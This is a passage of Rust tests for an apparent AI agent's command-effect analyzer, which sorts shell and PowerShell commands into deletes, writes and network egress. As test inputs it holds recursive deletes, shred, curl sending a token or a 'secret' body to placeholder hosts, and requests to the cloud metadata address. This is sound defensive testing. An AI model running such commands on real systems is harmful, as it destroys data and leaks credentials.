5877 ("time rm /tmp/aidaemon-test/x", Incomplete),
5878 ("{ rm /tmp/aidaemon-test/x; }", Incomplete),
5879 ("( rm /tmp/aidaemon-test/x )", Incomplete),
5880 ("X=1 rm /tmp/aidaemon-test/x", Incomplete),
5881 ("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
5883 (
5884 "git ls-remote git@git.example.invalid:acme/repo.git",
5885 Incomplete,
5886 ),
5887 (
5888 "unlink /tmp/aidaemon-test/x",
5889 Exact(vec![delete("/tmp/aidaemon-test/x")]),
5890 ),
5891 ("rm /tmp/aidaemon-test/*.o", Incomplete),
5892 ("rm ~other/x", Incomplete),
5893 ("rm /tmp/aidaemon-test/a\\ b", Incomplete),
5894 ("shred /tmp/aidaemon-test/x", Incomplete),
5895 ("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
5896 ("dd of=/tmp/aidaemon-test/x", Incomplete),
5897 ("install a /tmp/aidaemon-test/b", Incomplete),
5898 ("ln -s a /tmp/aidaemon-test/b", Incomplete),
5899 ("chmod 600 /tmp/aidaemon-test/x", Incomplete),
5900 (
5902 "curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
5903 Exact(vec![
5904 egress("a.example.invalid:443"),
5905 write("/tmp/aidaemon-test/f"),
5906 ]),
5907 ),
5908 ("bash x && curl https://a.example.invalid/", Incomplete),
5909 ("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
5911 ("echo * > /tmp/aidaemon-test/f", Incomplete),
5912 (
5913 "curl -H \"X: $TOKEN\" https://a.example.invalid/",
5914 Incomplete,
5915 ),
5916 (
5919 "cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
5920 Exact(vec![]),
5921 ),
5922 (
5923 "cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
5924 Exact(vec![write("/tmp/aidaemon-test/f")]),
5925 ),
5926 (
5927 "cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
5928 Exact(vec![egress("b.example.invalid:443")]),
5929 ),
5930 ("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
5931 (
5932 "echo x #\ncurl https://b.example.invalid/",
5933 Exact(vec![egress("b.example.invalid:443")]),
5934 ),
5935 (
5936 "echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
5937 Exact(vec![]),
5938 ),
5939 (
5940 "echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
5941 Exact(vec![]),
5942 ),
5943 (
5945 "echo hi >&1file",
5946 Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
5947 ),
5948 ("echo hi >&2", Exact(vec![])),
5949 ("echo hi 2>&-", Exact(vec![])),
5950 ("echo hi >&2-", Exact(vec![])),
5951 (
5953 "find /tmp/aidaemon-test/w/x -follow -delete",
5954 Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
5955 ),
5956 (
5958 "curl -w @fmt https://a.example.invalid/",
5959 Exact(vec![egress("a.example.invalid:443")]),
5960 ),
5961 (
5962 "curl --write-out @fmt https://a.example.invalid/",
5963 Exact(vec![egress("a.example.invalid:443")]),
5964 ),
5965 (
5967 "curl dict://h.example.invalid/d:x",
5968 Within(vec![egress("h.example.invalid:2628")]),
5969 ),
5970 ("curl ldap://h.example.invalid/", Within(vec![])),
5971 ("curl telnet://h.example.invalid/", Within(vec![])),
5972 (
5973 "curl gopher://h.example.invalid:70/",
5974 Exact(vec![egress("h.example.invalid:70")]),
5975 ),
5976 (
5978 "wget --output-document=~/x https://a.example.invalid/",
5979 Within(vec![
5980 write("/tmp/aidaemon-test/w/~/x"),
5981 egress("a.example.invalid:443"),
5982 ]),
5983 ),
5984 (
5985 "curl -o~/x https://a.example.invalid/",
5986 Within(vec![
5987 write("/tmp/aidaemon-test/w/~/x"),
5988 egress("a.example.invalid:443"),
5989 ]),
5990 ),
5991 ];
5992 let mut wrong = Vec::new();
5993 for (command, expect) in cases {
5994 let effects = shell_call_effects(command, Some(w));
5995 let ok = !effects.complete
5996 && match expect {
5997 Incomplete => true,
5998 Exact(mut expected) => {
5999 let mut keys = effects.keys.clone();
6000 let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
6001 keys.sort_by_key(order);
6002 expected.sort_by_key(order);
6003 keys == expected
6004 }
6005 Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
6006 };
6007 let clean = effects
6009 .keys
6010 .iter()
6011 .all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
6012 if !ok || !clean {
6013 wrong.push(format!("{command:?} => {effects:?}"));
6014 }
6015 }
6016 assert!(
6017 wrong.is_empty(),
6018 "{} wrong:\n{}",
6019 wrong.len(),
6020 wrong.join("\n")
6021 );
6022 let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
6024 assert!(partial.keys.contains(&egress("a.example.invalid:443")));
6025 }
6026
6027 #[cfg(unix)]
6029 #[test]
6030 fn shell_paths_resolve_through_symlinks_physically() {
6031 let dir = tempfile::tempdir().unwrap();
6032 let w = dunce::canonicalize(dir.path()).unwrap();
6033 let w = w.to_str().unwrap();
6034 std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
6035 std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
6036 std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
6037 let key = |class, path: String| EffectKey {
6038 class,
6039 target: path,
6040 };
6041 let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
6043 assert!(!trailing.complete);
6044 assert!(
6045 trailing
6046 .keys
6047 .contains(&key(EffectClass::Delete, format!("{w}/a/real")))
6048 );
6049 assert!(
6050 trailing
6051 .keys
6052 .contains(&key(EffectClass::Delete, format!("{w}/link")))
6053 );
6054 let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
6056 assert!(!climbed.complete);
6057 assert!(
6058 climbed
6059 .keys
6060 .contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
6061 );
6062 let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
6063 assert!(!redirected.complete);
6064 assert_eq!(
6065 redirected.keys,
6066 vec![key(EffectClass::Write, format!("{w}/a/f"))]
6067 );
6068 assert!(
6070 shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
6071 .keys
6072 .is_empty()
6073 );
6074 }
6075
6076 #[test]
6079 fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
6080 let url = "https://synthetic-tunnel.example/";
6081 let other = "http://127.0.0.1:8080/wp-login.php";
6082 assert_eq!(
6083 proven_fetch_urls(&format!("curl -sSfL {url}")),
6084 Some(vec![url.to_string()])
6085 );
6086 assert_eq!(
6087 proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
6088 Some(vec![url.to_string()])
6089 );
6090 assert_eq!(
6091 proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
6092 Some(vec![other.to_string()])
6093 );
6094 assert_eq!(
6095 proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
6096 Some(vec![url.to_string(), other.to_string()])
6097 );
6098 assert_eq!(
6099 proven_fetch_urls(&format!("curl --url {url}")),
6100 Some(vec![url.to_string()])
6101 );
6102
6103 for masked in [
6105 format!("curl -s {url}; true"),
6106 format!("curl -s {url} || echo down"),
6107 format!("curl -s {url} | head -5"),
6108 format!("curl -s {url} |& tee /tmp/out"),
6109 format!("curl -s {url} & wait"),
6110 format!("(curl -s {url})"),
6111 format!("curl -s {url}\necho done"),
6112 format!("curl -s {url} && echo ok"),
6113 format!("echo start && curl -s {url}"),
6114 "curl -s $(cat /tmp/url)".to_string(),
6115 "curl -s \"$URL\"".to_string(),
6116 format!("URL={url} curl -s {url}"),
6117 format!("sudo curl -s {url}"),
6118 format!("curl -s {url} {other}"),
6119 format!("curl -K /tmp/curlrc {url}"),
6120 format!("/tmp/bin/curl -s {url}"),
6121 "curl -s synthetic-tunnel.example".to_string(),
6122 "curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
6123 "curl -s".to_string(),
6124 String::new(),
6125 ] {
6126 assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
6127 }
6128 }
6129
6130 #[cfg(windows)]
6134 mod powershell {
6135 use super::super::*;
6136
6137 #[test]
6138 fn reading_cmdlets_are_observations() {
6139 for line in [
6140 r"Get-Content C:\Users\alice\notes.txt",
6141 "Start-Sleep -Seconds 1; Write-Output done",
6142 r"gci C:\Users\alice | Select-String TODO",
6143 r"Test-Path C:\Users\alice\notes.txt",
6144 ] {
6145 assert!(command_effects(line).observation_only, "{line}");
6146 }
6147 }
6148
6149 #[test]
6150 fn a_backslash_does_not_hide_a_delete() {
6151 let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
6152 assert!(!effects.observation_only);
6153 assert!(effects.deletes);
6154 }
6155
6156 #[test]
6157 fn code_bearing_arguments_are_unknown() {
6158 for line in [
6159 "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
6160 "Write-Output $(Remove-Item x)",
6161 "Get-Content @args",
6162 "Select-Object @{n='x';e={Remove-Item y}}",
6163 ] {
6164 let effects = command_effects(line);
6165 assert!(!effects.observation_only, "{line}");
6166 assert!(!effects.local_work_only, "{line}");
6167 }
6168 }
6169
6170 #[test]
6171 fn powershell_curl_is_not_read_as_curl() {
6172 let line = "curl -Method Post -Body secret https://example.invalid/x";
6173 assert!(!only_reads(line));
6174 assert!(fetches_network(line));
6175 }
6176
6177 #[test]
6178 fn curl_exe_is_curl() {
6179 let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
6180 assert!(
6181 effects
6182 .keys
6183 .iter()
6184 .any(|key| key.class == EffectClass::Egress),
6185 "{:?}",
6186 effects.keys
6187 );
6188 assert!(only_reads("curl.exe -s https://example.invalid/x"));
6189 }
6190
6191 #[test]
6192 fn remove_item_targets_are_read() {
6193 let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
6194 assert!(effects.deletes);
6195 assert_eq!(
6196 effects.delete_targets,
6197 Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
6198 );
6199 assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
6200 }
6201
6202 #[test]
6203 fn web_cmdlets_name_where_they_go() {
6204 for line in [
6205 "curl http://169.254.169.254/latest/meta-data/",
6206 "Invoke-WebRequest -Uri http://169.254.169.254/latest/",
6207 ] {
6208 let effects = shell_call_effects(line, None);
6209 assert!(!effects.understood, "{line}");
6210 assert!(
6211 effects
6212 .keys
6213 .iter()
6214 .any(|key| key.class == EffectClass::Egress
6215 && key.target.starts_with("169.254.169.254")),
6216 "{line}: {:?}",
6217 effects.keys
6218 );
6219 }
6220 }
6221
6222 #[test]
6223 fn remove_item_declares_its_delete() {
6224 let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
6225 assert!(
6226 effects
6227 .keys
6228 .iter()
6229 .any(|key| key.class == EffectClass::Delete),
6230 "{:?}",
6231 effects.keys
6232 );
6233 }
6234 }
6235}